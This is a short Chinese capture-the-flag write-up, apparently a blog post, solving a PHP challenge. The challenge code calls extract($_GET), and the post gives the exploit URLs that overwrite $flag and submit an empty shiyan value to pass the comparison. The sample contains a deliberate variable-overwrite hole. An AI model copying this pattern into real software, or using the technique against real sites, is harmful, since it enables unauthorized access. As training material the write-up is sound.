一、思考分析
题目是审计如下php代码
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
文件名为xxx
,通过GET方法提交覆盖后文件名(&flag)、提交文件内容(&shiyan)
从文件读取内容,且去除首尾的空格(&content)
如果读取内容与GET提交内容相同即可得到FLAG(&shiyan==&content)
二、解题过程
构造GET请求
http://123.206.87.240:9009/1.php?shiyan=&flag=
令文件名(&flag)为空,则读取到的内容(&content)为空,令提交的文件内容(&shiyan)也为空
或是使文件名为任一随机字符串均可,因为该文件不存在,读取内容始终为空
http://123.206.87.240:9009/1.php?shiyan=&flag=wdnmd
实际上,分析题目,文件名是xxx
的文件根本不存在
只需提交一个参数即可过关
http://123.206.87.240:9009/1.php?shiyan=
完
欢迎在评论区留言
感谢浏览